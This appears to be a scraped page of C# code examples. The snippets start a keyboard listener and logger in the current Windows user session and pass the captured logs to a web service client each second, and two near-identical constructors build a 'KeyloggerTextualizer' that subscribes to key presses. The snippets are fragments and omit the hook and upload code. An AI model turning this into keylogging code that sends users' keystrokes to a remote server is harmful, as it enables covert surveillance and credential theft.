/// <summary>
        /// Starts logger in current user session
        /// </summary>
        /// <param name="webserviceAuthToken">Authentication token returned by an earlier call to Webservice.Register </param>
        /// <param name="userAccountID">The ID, corresponding to the currently logged in Windows user, as returned by an earlier call to Webservice.CreateUserAccount</param>
        public void Start(string webserviceAuthToken, string userAccountID)
        {
            lock (startStopSyncObj)
            {
                if (Active)
                {
                    return;
                }

                Active = true;

                webservice         = new Webservice.Client(webserviceAuthToken);
                this.userAccountID = userAccountID;

                listener = new KeyboardListener();
                logger   = new KeyboardLogger(listener, TimeSpan.FromSeconds(1), OnDispatch: DispatchLogs);
            }
        }
Example #2
0
 public KeyloggerTextualizer(bool IsConsoleApp = false)
 {
     kbl           = new KeyboardLogger(IsConsoleApp);
     kbl.KeyPress += OnKeyPress;
 }
Example #3
0
 public KeyloggerTextualizer(bool IsConsoleApp = false) {
     kbl = new KeyboardLogger(IsConsoleApp);
     kbl.KeyPress += OnKeyPress;
 }